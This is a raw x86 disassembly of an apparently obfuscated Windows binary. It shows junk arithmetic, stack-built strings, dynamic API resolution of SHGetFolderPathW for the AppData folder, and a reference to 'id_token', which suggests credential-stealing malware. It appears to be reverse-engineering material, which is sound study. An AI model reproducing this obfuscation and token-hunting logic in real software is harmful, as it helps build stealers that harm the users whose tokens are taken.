movzx eax, word [0x1001103c]
mov esi, 8
mov byte [esp + 0x10c], 0x61
cmp eax, ecx
jne 0x1000b247
mov eax, dword [0x1001465c]
mov word [esp + 0x10], si
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], 0
mov eax, dword [0x10011018]
mov ecx, dword [0x1001101c]
cmp eax, 1
jne 0x1000b247
test ecx, ecx
jne 0x1000b247
cmp byte [esp + 0x58], cl
je 0x1000b32c
mov ecx, dword [0x100110a0]
mov eax, dword [0x100110a4]
or ecx, eax
je 0x1000b2fe
movzx eax, word [0x10011050]
mov ecx, dword [0x100110b4]
imul eax, eax, 0xce630e4f
not ecx
mov dword [0x100110bc], 0
xor ecx, eax
mov eax, 0xb041
imul ecx, dword [0x10011080]
mov word [0x10011044], ax
not ecx
mov dword [0x100110b8], ecx
mov edi, dword [esp + 0x4c]
mov ax, word [esp + 0x58]
movzx eax, al
mov dword [esp + 0xa0], eax
add eax, 0xd4
mov word [0x1001103c], dx
mov word [esp + 0x1c], ax
movzx eax, byte [esp + 0x1a]
cdq
sub eax, 0x3c
mov dword [0x10011088], eax
sbb edx, 0
mov dword [0x1001108c], edx
mov al, byte [0x1001103b]
dec al
mov byte [0x1001103b], al
mov al, byte [esp + 0x48]
add al, 0x1e
mov byte [0x10011033], al
mov eax, dword [esp + 0x19c]
mov eax, dword [esp + 0x188]
mov eax, dword [esp + 0x19c]
mov ecx, dword [esp + 0x19c]
add al, 0x80
xor cl, al
mov al, byte [0x1001103b]
xor cl, 0x80
add cl, 0x2e
mov byte [esp + 0x10f], cl
cmp byte [esp + 0xf], al
jne 0x1000b3a1
cmp byte [0x10011004], 0
je 0x1000b369
mov eax, 0x72
mov word [esp + 0x10], ax
movzx eax, word [esp + 0x24]
add eax, 0x59
mov dword [0x100110b4], eax
jmp 0x1000b3a1
cmp byte [esp + 0x74], 0
mov edi, dword [esp + 0x4c]
je 0x1000b24b
mov ecx, dword [0x10011008]
sub cx, word [esp + 0x48]
mov eax, dword [0x1001100c]
not cx
mov word [0x10011044], cx
jmp 0x1000b24b
mov ecx, dword [esp + 0x48]
mov edi, dword [esp + 0x4c]
mov eax, dword [0x100110c0]
shld edi, ecx, 1
add ecx, ecx
add ecx, eax
mov dword [esp + 0x48], ecx
mov cx, word [0x10011098]
adc edi, 0
add cl, 0x2a
mov dword [esp + 0x4c], edi
cmp byte [esp + 0x3e], 0x44
sete al
xor cl, al
mov byte [esp + 0x3e], cl
jmp 0x1000b24b
cmp byte [esp + 0x74], 0
je 0x1000b37b
mov al, byte [0x1001465c]
mov byte [esp + 0x1a], al
jmp 0x1000b3a1
mov eax, dword [0x10011078]
mov ecx, dword [0x1001107c]
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
movzx eax, byte [0x10011036]
movzx ecx, cl
imul ecx, eax
mov byte [0x10011036], cl
mov eax, 0xd9
mov byte [esp + 0x108], 0x53
mov word [0x1001109c], ax
mov eax, dword [esp + 0xd0]
add eax, 0xd9
mov byte [esp + 0x10d], 0x70
mov byte [esp + 0x112], 0x6c
cmp dword [0x10011090], eax
jne 0x1000b463
mov esi, dword [esp + 0x178]
mov edi, 0xd9
mov ecx, dword [esp + 0x174]
add esi, 0x95d70e4b
adc ecx, 0xf628e
nop dword [eax + eax]
cmp byte [esp + 0xf], 0
jne 0x1000b425
cmp dword [0x100110b0], 0
jne 0x1000b415
mov al, byte [0x10011007]
mov al, byte [0x1001103b]
add al, byte [0x100110c4]
mov byte [0x1001103b], al
movzx eax, word [0x1001103c]
cdq
cmp eax, esi
jne 0x1000b45f
cmp edx, ecx
jne 0x1000b45f
mov eax, dword [0x100110b4]
mov eax, dword [esp + 0xd0]
add eax, 0xd9
mov dword [0x10011080], 0x48a1643b
mov word [0x1001109c], di
cmp dword [0x10011090], eax
je 0x1000b400
mov edi, dword [esp + 0x4c]
mov ecx, dword [0x10033754]
mov eax, dword [0x10033750]
mov dword [0x100110bc], ecx
mov ecx, dword [esp + 0x50]
mov dword [0x100110b8], eax
mov eax, dword [esp + 0x54]
mov eax, 0x3885
add cx, ax
mov word [esp + 0x10], cx
mov edx, dword [esp + 0xac]
mov eax, dword [esp + 0xac]
mov ecx, dword [esp + 0xac]
sub al, dl
add cl, byte [esp + 0xac]
movsx ecx, cl
movsx eax, al
imul ecx, eax
add cl, 0x6c
cmp dword [0x10011040], 0
mov byte [esp + 0x10a], cl
jne 0x1000b4d1
mov eax, 1
xor ecx, ecx
jmp 0x1000b4eb
xorps xmm0, xmm0
movlpd qword [esp + 0x188], xmm0
mov ecx, dword [esp + 0x18c]
mov eax, dword [esp + 0x188]
sub eax, dword [esp + 0x48]
mov dword [esp + 0x28], eax
sbb ecx, edi
mov dword [esp + 0x2c], ecx
mov eax, dword [esp + 0x198]
mov eax, dword [esp + 0x94]
mov eax, dword [esp + 0x94]
mov eax, dword [esp + 0x198]
mov eax, dword [esp + 0x198]
mov ecx, dword [0x10011068]
mov eax, dword [0x1001106c]
or ecx, eax
mov byte [esp + 0x10e], 0x69
jne 0x1000b538
lea edx, [ecx + 1]
jmp 0x1000b53a
xor edx, edx
mov ecx, dword [esp + 0x60]
mov eax, dword [esp + 0x64]
add ecx, edx
mov eax, dword [esp + 0x1d0]
sub al, byte [esp + 0xa4]
mov dword [0x100110c8], ecx
mov ecx, dword [esp + 0xa4]
sub cl, byte [esp + 0xa4]
movsx ecx, cl
movsx eax, al
imul ecx, eax
add cl, 0x64
cmp byte [esp + 0x74], 0
mov byte [esp + 0x110], cl
je 0x1000b593
mov ecx, dword [0x1001101c]
mov eax, dword [0x10011018]
mov dword [0x10011074], ecx
jmp 0x1000b5a1
movsx eax, byte [0x10011032]
cdq
mov dword [0x10011074], edx
mov ecx, dword [0x10011058]
mov esi, dword [0x1001105c]
shld esi, ecx, 1
mov dword [0x10011070], eax
movzx eax, word [0x10011038]
add ecx, ecx
cdq
add eax, ecx
mov byte [esp + 0x109], 0x68
mov dword [0x10011058], eax
adc edx, esi
xor cl, cl
mov dword [0x1001105c], edx
call fcn.100019c0
movzx eax, al
mov dword [esp + 0x40], eax
mov ecx, dword [0x10011060]
mov eax, dword [0x10011064]
cmp dword [0x1001104c], eax
jb 0x1000b609
ja 0x1000b602
cmp dword [0x10011048], ecx
jbe 0x1000b609
mov ecx, 1
jmp 0x1000b60b
xor ecx, ecx
movzx esi, byte [esp + 0x1a]
mov dword [esp + 0xa4], esi
cmp esi, ecx
jae 0x1000b630
mov ecx, dword [0x10011058]
mov eax, dword [0x1001105c]
shrd ecx, eax, 3
mov dword [0x10011080], ecx
mov ecx, dword [0x10011020]
mov eax, dword [0x10011024]
add ecx, 0x14558c41
mov byte [esp + 0x111], 0x6c
adc eax, 0x3ac84
mov dword [esp + 0x50], ecx
mov dword [esp + 0x54], eax
xor edx, edx
mov eax, dword [esp + 0x1cc]
mov eax, dword [esp + 0x194]
mov eax, dword [esp + 0x8c]
movsx ecx, byte [0x1001103b]
movzx eax, al
cmp eax, ecx
mov byte [esp + 0x10b], 0x77
setl dl
cmp byte [esp + 0x8c], 0xb
sbb eax, eax
neg eax
cmp edx, eax
jbe 0x1000b6d2
mov ecx, dword [0x100110c4]
mov eax, dword [esp + 0x7c]
not ecx
not eax
add ecx, eax
imul ecx, dword [0x10011048]
imul ecx, dword [esp + 0x7c]
not ecx
mov word [esp + 0x24], cx
mov eax, dword [0x10011088]
mov ecx, dword [0x1001108c]
sub eax, 0xe0d7
mov dword [esp + 0x60], eax
sbb ecx, 0
mov dword [esp + 0x64], ecx
mov eax, dword [esp + 0x6c]
add dword [esp + 0x48], eax
movzx ecx, word [0x10011038]
movsx ax, byte [0x10011004]
adc edi, dword [esp + 0x80]
mov byte [esp + 0x113], 0
mov dword [esp + 0x4c], edi
mov edi, dword [esp + 0xa0]
movzx eax, ax
imul eax, ecx
mov word [0x10011038], ax
nop
movsx eax, word [esp + 0x20]
mov dword [0x100110c4], 0x6b687bbb
add eax, dword [0x100110c4]
cmp dword [0x10011070], eax
jne 0x1000b7fb
cmp dword [0x10011074], 0
jne 0x1000b7fb
mov ecx, dword [0x10011028]
mov eax, dword [0x1001102c]
cmp eax, dword [0x100110bc]
jb 0x1000b762
ja 0x1000b75b
cmp ecx, dword [0x100110b8]
jb 0x1000b762
mov ecx, 1
jmp 0x1000b764
xor ecx, ecx
mov edx, dword [0x10011028]
mov eax, dword [0x1001102c]
test eax, eax
jne 0x1000b778
cmp edx, 0x2f
jb 0x1000b77d
mov eax, 1
cmp ecx, eax
je 0x1000b946
mov eax, dword [0x100110b4]
mov ecx, 0xb1f
mov eax, dword [esp + 0x40]
cmp ecx, eax
mov ax, word [esp + 0x3e]
sbb esi, esi
movsx eax, al
inc esi
cmp dword [0x100110c4], eax
movsx eax, byte [0x1001103a]
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
sete cl
cmp esi, ecx
ja 0x1000b920
mov eax, 8
mov ecx, 0xec
mov word [0x10011098], ax
mov ax, word [0x10011038]
add ax, cx
mov word [0x1001103c], ax
mov esi, dword [esp + 0xa4]
movzx eax, word [esp + 0x10]
sub eax, 0x13620687
cmp dword [0x10011080], eax
je 0x1000b710
mov ax, word [esp + 0x3e]
movsx esi, al
mov dword [esp + 0xa4], esi
cmp esi, dword [0x10011090]
jl 0x1000b83b
cmp byte [0x1001103b], 0
je 0x1000b83b
movsx ecx, word [esp + 0x20]
mov eax, dword [0x10011090]
imul eax, ecx
mov dword [0x10011090], eax
mov eax, dword [0x10011020]
add eax, 0xffffffc5
mov word [0x10011038], ax
mov eax, dword [esp + 0xb8]
xor edx, edx
add eax, dword [esp + 0xb8]
mov ecx, dword [esp + 0x88]
sub ecx, dword [esp + 0x88]
movzx eax, ax
imul ecx, eax
movzx eax, cx
mov ecx, dword [esp + 0x88]
add ecx, dword [esp + 0xb4]
imul ecx, eax
movzx eax, cx
mov ecx, dword [esp + 0xb8]
imul ecx, eax
imul eax, ecx, 0x145
add eax, 0x2e
mov word [esp + 0x1bc], ax
mov eax, 0x74
mov word [esp + 0x1c2], ax
mov eax, dword [0x10011068]
mov ecx, dword [0x1001106c]
mov eax, 0x70
movsx ecx, word [0x10011030]
mov word [esp + 0x1ba], ax
movzx eax, byte [esp + 0xe]
cmp eax, ecx
mov al, byte [esp + 0xe]
sete dl
xor ecx, ecx
cmp al, 0x2f
sete cl
cmp edx, ecx
jb 0x1000bbdf
mov eax, esi
cdq
push edx
push eax
push 0
push 0x27
push 0
push 0
push 0
push 0
push 0
push 0xd8
push 0
push 0
push 0
push 0
call fcn.100017f0
add esp, 0x38
mov dl, al
cmp word [0x10011044], 0
mov byte [esp + 0x1a], dl
jne 0x1000b985
cmp word [0x10011038], 0
jne 0x1000b985
xor ecx, ecx
jmp 0x1000b98a
mov eax, dword [0x100110a8]
or eax, dword [0x100110ac]
je 0x1000b7de
movzx ecx, word [esp + 0x1c]
mov eax, dword [esp + 0x40]
add eax, ecx
mov word [esp + 0x1c], ax
jmp 0x1000b7de
mov eax, dword [section..data]
not eax
cmp edi, eax
jl 0x1000b967
movsx eax, byte [esp + 0xf]
sub eax, 0x50e5ae44
mov dword [esp + 0x90], eax
jmp 0x1000b7e5
cmp word [esp + 0x1c], 0
je 0x1000b7e5
movzx eax, word [esp + 0x24]
imul eax, esi
mov dword [0x100110b4], eax
jmp 0x1000b7e5
mov ecx, 1
mov eax, dword [esp + 0x40]
mov edi, dword [0x10011018]
mov dword [esp + 0x194], eax
mov eax, dword [0x1001101c]
mov dword [esp + 0xb4], 0
cmp dword [esp + 0xb4], eax
jg 0x1000b9c6
jl 0x1000b9bf
cmp dword [esp + 0x194], edi
jae 0x1000b9c6
mov eax, 1
jmp 0x1000b9c8
xor eax, eax
cmp ecx, eax
je 0x1000ba8a
cmp word [esp + 0x7c], 0
je 0x1000b9e0
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x54]
mov edi, dword [0x100110c0]
mov ecx, dword [0x10011068]
mov eax, dword [0x1001106c]
mov dword [esp + 0xb4], 0
cmp dword [esp + 0xb4], eax
jb 0x1000ba12
ja 0x1000ba0b
cmp edi, ecx
jb 0x1000ba12
mov ecx, 1
jmp 0x1000ba14
xor ecx, ecx
cmp dword [0x100110c0], 0x29
sbb eax, eax
inc eax
cmp ecx, eax
jae 0x1000ba44
mov eax, dword [esp + 0x8c]
add al, 0xf
mov byte [esp + 0xe], al
mov al, byte [0x1001465c]
mov dword [esp + 0x8c], eax
mov byte [esp + 0x70], al
jmp 0x1000bbdf
mov ax, word [esp + 0x20]
xor ecx, ecx
test ax, ax
movzx eax, word [esp + 0x1c]
sete cl
sub ecx, eax
movzx eax, dl
mov dword [esp + 0xb4], ecx
xor edx, edx
mov cx, word [0x10011094]
cmp ax, cx
setg dl
cmp dword [esp + 0xb4], edx
jg 0x1000bbdf
inc word [0x10011034]
jmp 0x1000bbdf
mov eax, dword [0x100110b8]
or eax, dword [0x100110bc]
je 0x1000bb1f
movzx eax, word [0x10011038]
xor edx, edx
movzx ecx, word [esp + 0x24]
add ecx, eax
mov al, byte [0x1001103b]
test al, al
sete dl
and edx, ecx
mov ecx, dword [0x10011078]
mov esi, dword [0x1001107c]
not ecx
movzx eax, word [esp + 0x1c]
add ecx, edx
cdq
not esi
adc esi, 0
add eax, ecx
mov ecx, dword [0x10011010]
adc edx, esi
mov esi, dword [0x10011014]
add ecx, eax
mov dword [0x10011088], ecx
adc esi, edx
mov dword [0x1001108c], esi
mov eax, dword [0x10011040]
mov ecx, dword [0x10011020]
not eax
cdq
sub ecx, eax
mov eax, dword [0x10011024]
sbb eax, edx
add ecx, 0x5569
mov dword [esp + 0x28], ecx
adc eax, 0
mov dword [esp + 0x2c], eax
jmp 0x1000bbd8
cmp byte [0x10011032], 0
jne 0x1000bb84
movzx eax, word [esp + 0x24]
mov esi, dword [0x10011008]
mov edi, dword [0x1001100c]
cdq
sub esi, eax
mov eax, dword [0x10011008]
mov ecx, dword [0x1001100c]
sbb edi, edx
add eax, esi
mov dword [0x10011008], eax
adc ecx, edi
mov dword [0x1001100c], ecx
mov edx, dword [esp + 0x28]
mov esi, dword [esp + 0x2c]
sub edx, dword [esp + 0xec]
mov eax, dword [esp + 0x28]
sbb esi, dword [esp + 0xc4]
sub edx, eax
mov ecx, dword [esp + 0x2c]
sbb esi, ecx
mov dword [esp + 0x28], edx
mov dword [esp + 0x2c], esi
jmp 0x1000bbd8
mov eax, dword [0x10011090]
mov ecx, dword [0x10011088]
not eax
mov edi, dword [0x1001108c]
cdq
cmp eax, ecx
jne 0x1000bba4
cmp edx, edi
jne 0x1000bba4
xor ecx, ecx
jmp 0x1000bba9
mov ecx, 1
movzx eax, word [0x10011044]
sub ecx, eax
je 0x1000bbdf
mov eax, dword [esp + 0x7c]
mov ecx, dword [0x10011018]
mov esi, dword [0x1001101c]
movzx eax, ax
cdq
add ecx, eax
mov dword [0x10011018], ecx
adc esi, edx
mov dword [0x1001101c], esi
mov esi, dword [esp + 0xa4]
mov ecx, dword [esp + 0x28]
mov eax, 0x64
mov edi, dword [esp + 0x90]
mov dl, 0x83
mov word [esp + 0x1b4], ax
mov eax, dword [esp + 0x2c]
movzx eax, cl
xor cl, cl
push eax
movzx eax, byte [0x10011006]
push eax
push edi
push 0
push 0
call fcn.100016c0
mov byte [0x10011007], al
add esp, 0x14
mov al, byte [0x10011007]
cmp byte [0x10011007], 0x2d
jb 0x1000bcee
movzx ecx, word [esp + 0x24]
movsx eax, byte [0x10011037]
cmp eax, ecx
mov ecx, 0
setg cl
xor eax, eax
cmp byte [0x10011037], 0x27
setg al
cmp ecx, eax
jae 0x1000bc96
movzx ecx, word [0x10011038]
mov eax, dword [esp + 0xd0]
not eax
mov dword [esp + 0x6c], 0xf5585d6d
imul ecx, eax
mov eax, dword [esp + 0x7c]
movzx eax, ax
mov dword [esp + 0x80], 0
xor ecx, eax
mov eax, dword [0x100110b0]
not eax
add eax, ecx
not eax
mov word [esp + 0x10], ax
jmp 0x1000bcff
movsx eax, byte [0x1001103a]
xor ecx, ecx
not eax
cmp eax, 0x59
setl cl
add ecx, 0xfffffffe
cmp esi, ecx
jne 0x1000bcbb
mov al, byte [0x1001109c]
sub al, 0x6b
add byte [esp + 0x74], al
jmp 0x1000bcff
mov ecx, dword [0x10011078]
mov eax, dword [0x1001107c]
not ecx
not eax
or ecx, eax
je 0x1000bcff
mov eax, dword [0x10011060]
mov ecx, dword [0x10011064]
add eax, 0xc972
mov dword [0x10011020], eax
adc ecx, 0
mov dword [0x10011024], ecx
jmp 0x1000bcff
mov eax, dword [0x10011070]
add eax, 0xdf
movzx eax, ax
mov dword [esp + 0x7c], eax
mov eax, dword [esp + 0xf0]
sub eax, dword [esp + 0xbc]
movzx ecx, ax
mov eax, dword [esp + 0xbc]
mov edx, dword [esp + 0xbc]
xor edx, eax
mov ax, word [0x1001109c]
imul edx, ecx
mov ecx, 0xc3
sub ax, cx
mov cl, 0x34
movzx eax, ax
mov dword [esp + 0xac], eax
mov eax, 0x74
mov word [esp + 0x1be], ax
add edx, 0x65
mov word [esp + 0x1b6], dx
call fcn.100015c0
mov dword [esp + 0x88], eax
test al, al
je 0x1000bd72
imul ecx, dword [esp + 0x40], 0xd
mov dword [0x10011080], ecx
jmp 0x1000bdd6
movzx eax, word [esp + 0x10]
cdq
cmp dword [0x1001104c], edx
jb 0x1000bd93
ja 0x1000bd8a
cmp dword [0x10011048], eax
jbe 0x1000bd93
mov ecx, 1
xor eax, eax
jmp 0x1000bdad
xorps xmm0, xmm0
movlpd qword [esp + 0xf0], xmm0
mov eax, dword [esp + 0xf4]
mov ecx, dword [esp + 0xf0]
cmp eax, dword [0x1001105c]
jl 0x1000bdd6
jg 0x1000bdbf
cmp ecx, dword [0x10011058]
jbe 0x1000bdd6
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x74]
add ecx, 0x17aab1f7
movsx eax, al
add eax, ecx
mov dword [esp + 0x40], eax
mov eax, 0x78
mov word [esp + 0x1c0], ax
mov dword [0x10011010], 0xee60
mov dword [0x10011014], 0
movzx eax, word [esp + 0x24]
mov ecx, dword [0x10011010]
mov esi, dword [0x10011014]
cdq
add eax, 0xee60
adc edx, 0
cmp ecx, eax
jne 0x1000bf57
cmp esi, edx
jne 0x1000bf57
movsx eax, word [esp + 0x20]
cdq
add eax, dword [0x100110a8]
adc edx, dword [0x100110ac]
cmp eax, 1
jne 0x1000bf50
test edx, edx
jne 0x1000bf50
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
or ecx, eax
je 0x1000be72
movsx eax, word [0x10011098]
mov ecx, 0xffff02fc
sub ecx, eax
mov ax, word [0x10011030]
add edi, ecx
xor al, 0x31
mov byte [0x10011032], al
jmp 0x1000bf16
movzx eax, byte [esp + 0x1a]
xor ecx, ecx
cmp byte [esp + 0x88], cl
sete cl
cmp eax, ecx
ja 0x1000be91
mov edi, 0x36
jmp 0x1000bf16
mov eax, dword [esp + 0x74]
mov esi, dword [0x10011078]
mov ecx, dword [0x1001107c]
movsx eax, al
cdq
cmp ecx, edx
ja 0x1000bec0
jb 0x1000beaf
cmp esi, eax
jae 0x1000bec0
mov eax, dword [esp + 0x28]
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0x2c]
jmp 0x1000bf16
mov eax, dword [0x10011070]
or eax, dword [0x10011074]
jne 0x1000bf16
cmp byte [esp + 0x58], al
movsx ecx, byte [0x1001103b]
mov esi, dword [esp + 0x48]
cmove eax, edi
not ecx
not esi
xor eax, ecx
mov ecx, dword [esp + 0x4c]
cdq
not ecx
sub esi, eax
sbb ecx, edx
or esi, ecx
jne 0x1000bef9
lea eax, [esi + 1]
jmp 0x1000befb
xor eax, eax
mov word [0x10011098], ax
mov ecx, 0x1773
movsx ax, byte [0x10011032]
add ax, cx
mov word [esp + 0x1c], ax
mov dword [0x10011010], 0xee60
mov dword [0x10011014], 0
movzx eax, word [esp + 0x24]
mov ecx, dword [0x10011010]
mov esi, dword [0x10011014]
cdq
add eax, 0xee60
adc edx, 0
cmp ecx, eax
jne 0x1000bf50
cmp esi, edx
je 0x1000be21
mov dword [esp + 0x90], edi
mov eax, dword [esp + 0xe4]
mov cl, 0xa2
mov eax, dword [esp + 0xb0]
mov eax, 0x65
mov word [esp + 0x1b8], ax
xor eax, eax
mov word [esp + 0x1c4], ax
call fcn.100015c0
movzx eax, al
xor edx, edx
mov word [0x10011030], ax
cmp word [0x10011030], 0x15
movzx eax, word [0x10011030]
sete dl
xor ecx, ecx
test ax, ax
sete cl
cmp ecx, edx
ja 0x1000c000
mov ecx, dword [0x10011018]
mov eax, dword [0x1001101c]
or ecx, eax
je 0x1000c000
mov ecx, dword [0x10011078]
mov eax, dword [0x1001107c]
sub cl, 9
mov ax, word [esp + 0x20]
mov edx, dword [esp + 0x7c]
mov byte [0x10011004], cl
xor ecx, ecx
cmp byte [esp + 0x8c], cl
movzx eax, al
cmove ecx, eax
mov al, byte [esp + 0x74]
sub cl, byte [esp + 0x48]
sub al, dl
not al
xor al, cl
mov dword [esp + 0x8c], eax
mov byte [esp + 0x70], al
mov ecx, dword [0x10011060]
mov eax, dword [0x10011064]
sub cx, 0x6b
mov eax, dword [esp + 0x88]
mov dx, word [0x10011034]
cbw
mov byte [esp + 0x101], 0x74
movzx eax, ax
mov word [0x10011038], cx
mov cx, word [0x10011038]
push eax
mov byte [esp + 0x103], 0x45
call fcn.10001b80
mov word [esp + 0x20], ax
add esp, 4
cmp word [esp + 0x1c], 0
je 0x1000c092
mov ecx, dword [0x10011028]
mov eax, dword [0x1001102c]
mov eax, dword [esp + 0x74]
movsx eax, al
sub ecx, eax
movzx eax, byte [0x10011006]
not ecx
add eax, ecx
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x8c]
movzx ecx, word [0x10011038]
movzx eax, al
add ecx, eax
mov dword [esp + 0x40], ecx
jmp 0x1000c0f3
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
or ecx, eax
jne 0x1000c0a3
lea esi, [ecx + 1]
jmp 0x1000c0a5
xor esi, esi
movzx eax, byte [esp + 0xe]
xor edx, edx
movzx ecx, word [esp + 0x24]
sub ecx, eax
movzx eax, word [0x10011034]
xor ecx, dword [0x100110c4]
cmp byte [esp + 0x58], dl
sete dl
sub edx, ecx
movzx ecx, si
imul ecx, eax
sub dx, cx
sub dx, word [esp + 0xac]
mov word [0x10011038], dx
mov al, byte [0x10011033]
sub al, 0x58
mov dword [esp + 0x8c], eax
mov byte [esp + 0x70], al
mov eax, dword [esp + 0x84]
mov edx, dword [esp + 0x84]
mov ecx, dword [esp + 0x84]
xor dl, al
add cl, byte [esp + 0xc8]
movsx ecx, cl
movsx eax, dl
imul ecx, eax
mov byte [esp + 0xfe], 0x6c
add cl, 0x72
mov byte [esp + 0x102], cl
mov byte [0x10011033], 0x76
movsx ecx, word [esp + 0x20]
movzx eax, byte [0x10011033]
add ecx, 0x76
cmp eax, ecx
jne 0x1000c14a
mov al, byte [esp + 0xe]
mov byte [0x10011033], 0x76
mov ecx, dword [0x10011090]
add ecx, dword [0x10011090]
mov eax, dword [0x10011040]
add eax, ecx
mov cl, 0xcb
mov dword [0x10011090], eax
mov eax, dword [0x100110b4]
call fcn.100019c0
movzx eax, al
cdq
mov dword [0x1001105c], edx
mov ecx, eax
mov dword [0x10011058], ecx
test edx, edx
jne 0x1000c18f
test ecx, ecx
je 0x1000c1a3
mov eax, 1
test edx, edx
jne 0x1000c1a1
cmp ecx, 0x27
ja 0x1000c1a1
xor ecx, ecx
jmp 0x1000c1a3
mov ecx, eax
cmp eax, ecx
jbe 0x1000c1db
mov ax, word [0x10010224]
movups xmm0, xmmword [str.id_token]
mov word [esp + 0x270], ax
lea eax, [esp + 0x260]
push eax
movups xmmword [esp + 0x264], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov byte [esp + 0x88], al
jmp 0x1000c1eb
cmp dword [esp + 0x40], 0
je 0x1000c1eb
mov al, byte [0x1001465c]
mov byte [esp + 0xf], al
mov ecx, dword [esp + 0x44]
mov eax, dword [esp + 0x14]
sub cl, 0x59
mov edx, dword [esp + 0x98]
xor dl, cl
mov ecx, dword [esp + 0x44]
add cl, byte [esp + 0x14]
xor dl, al
movsx eax, dl
movsx edx, cl
imul edx, eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x14]
xor cl, al
movsx ecx, cl
movsx eax, dl
mov dl, 0x17
imul ecx, eax
movzx eax, byte [0x100110a8]
push 0
push eax
push dword [esp + 0x78]
add cl, 0x79
mov byte [esp + 0x10f], cl
mov cl, byte [0x1001103a]
push 0x5e
call fcn.10001410
cbw
add esp, 0x10
mov word [esp + 0x24], ax
mov ax, word [esp + 0x24]
mov ax, word [esp + 0x24]
cmp byte [esp + 0xe], 0
mov al, byte [0x10100b58]
mov word [esp + 0xfc], 0x6c44
mov byte [0x1001103a], al
mov byte [esp + 0x100], 0x6e
je 0x1000c2c4
movzx eax, byte [0x10011006]
mov ecx, dword [0x10011078]
mov esi, dword [0x1001107c]
cdq
add eax, 0xffffff77
adc edx, 0xffffffff
sub ecx, eax
mov dword [0x10011078], ecx
mov ecx, 0x71d2
sbb esi, edx
mov dword [0x1001107c], esi
mov ax, word [0x10011094]
add ax, cx
mov word [esp + 0x24], ax
jmp 0x1000c306
mov eax, edi
not eax
test eax, eax
je 0x1000c2e9
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
add eax, 0x71a81574
mov dword [esp + 0x60], eax
adc ecx, 0x30885
mov dword [esp + 0x64], ecx
jmp 0x1000c306
mov eax, dword [esp + 0x40]
mov eax, dword [0x100110b0]
add eax, 0x91
mov dword [esp + 0x80], 0
mov dword [esp + 0x6c], eax
mov byte [esp + 0x104], 0
mov ecx, 0xaa
movzx eax, byte [esp + 0xe]
inc byte [0x1001103a]
imul eax, eax, 0x8c2a939c
mov dword [0x100110c4], eax
sub ecx, 1
jne 0x1000c313
push str.SHGetFolderPathW
lea eax, [esp + 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x318]
push ecx
push 0
push 0
push 0x1a
push 0
call eax
test eax, eax
js 0x1000f056
mov eax, dword [0x1001465c]
mov esi, dword [esp + 0x4c]
mov dword [esp + 0x84], eax
movzx eax, byte [0x10011007]
cdq
cmp edx, esi
ja 0x1000c3df
jb 0x1000c386
cmp eax, dword [esp + 0x48]
ja 0x1000c3df
mov eax, dword [esp + 0x6c]
or eax, dword [esp + 0x80]
je 0x1000c3a8
mov ecx, dword [0x10011018]
mov eax, dword [0x1001101c]
mov dword [0x100110b0], ecx
xor ecx, ecx
jmp 0x1000c3be
mov ecx, dword [0x10011088]
mov eax, dword [0x1001108c]
mov dword [0x100110b0], ecx
mov ecx, 1
xor eax, eax
cmp byte [0x10011036], al
sete al
add eax, ecx
mov dword [0x10011018], eax
mov dword [0x1001101c], 0
jmp 0x1000c447
movsx edx, byte [esp + 0xf]
xor eax, eax
movzx ecx, word [0x10011050]
cmp edx, ecx
sete al
add eax, 0xfffffffe
cdq
mov dword [esp + 0x98], eax
mov eax, dword [0x10011078]
mov ecx, dword [0x1001107c]
cmp edx, ecx
ja 0x1000c447
jb 0x1000c417
cmp dword [esp + 0x98], eax
ja 0x1000c447
movsx ax, byte [0x10011004]
imul edx, eax, 0x19
lea eax, [eax + eax*2]
lea eax, [eax*8 - 0x4248]
add edx, 0x3af5
movzx ecx, ax
cmp dword [0x100110c8], 0
movzx eax, dx
cmove ecx, eax
mov word [esp + 0x10], cx
mov eax, dword [esp + 0x84]
add eax, 0x10b
mov dword [esp + 0x98], eax
movzx ecx, word [esp + 0x1c]
mov eax, dword [0x100110c0]
xor eax, ecx
mov dword [0x100110c0], eax
mov eax, dword [esp + 0x84]
add eax, 0x368
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x84]
add eax, 0xe9
mov dword [esp + 0x84], eax
mov ax, word [esp + 0x20]
imul edx, dword [esp + 0x84], 0x2e1
mov ecx, dword [esp + 0x88]
movsx eax, cl
movsx ecx, cl
imul ecx, eax
mov eax, dword [esp + 0x84]
sub edx, eax
mov eax, dword [esp + 0x98]
sub edx, eax
mov dword [0x100110a8], 0x461cfd3e
mov dword [0x100110ac], 0x2bd79
mov dword [esp + 0x70], ecx
mov byte [esp + 0xd4], cl
mov ecx, dword [esp + 0x44]
sub ecx, dword [esp + 0x44]
mov eax, dword [esp + 0x84]
add eax, ecx
cmp eax, edx
je 0x1000f056
mov eax, dword [esp + 0x70]
mov ecx, dword [0x10011078]
mov edi, dword [0x1001107c]
movsx eax, al
cdq
mov dword [esp + 0x98], edi
mov edi, dword [esp + 0x90]
cmp ecx, eax
jne 0x1000c52b
cmp dword [esp + 0x98], edx
je 0x1000c5de
movzx esi, word [0x1001103c]
xor edx, edx
movsx eax, byte [0x1001103a]
mov ecx, esi
cmp ecx, eax
sete dl
xor eax, eax
cmp esi, 0x1f
sete al
cmp edx, eax
ja 0x1000c5c6
mov ecx, dword [0x10011018]
mov eax, dword [0x1001101c]
or ecx, eax
jne 0x1000c568
mov ecx, 1
jmp 0x1000c56a
xor ecx, ecx
mov eax, dword [esp + 0x8c]
movzx eax, al
sub eax, ecx
mov ecx, dword [esp + 0x50]
mov esi, dword [esp + 0x54]
not eax
cdq
add eax, ecx
adc edx, esi
add eax, 0xffffb71f
adc edx, 0xffffffff
or eax, edx
jne 0x1000c5a2
mov eax, 1
xor ecx, ecx
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], ecx
jmp 0x1000c5da
xorps xmm0, xmm0
movlpd qword [esp + 0x98], xmm0
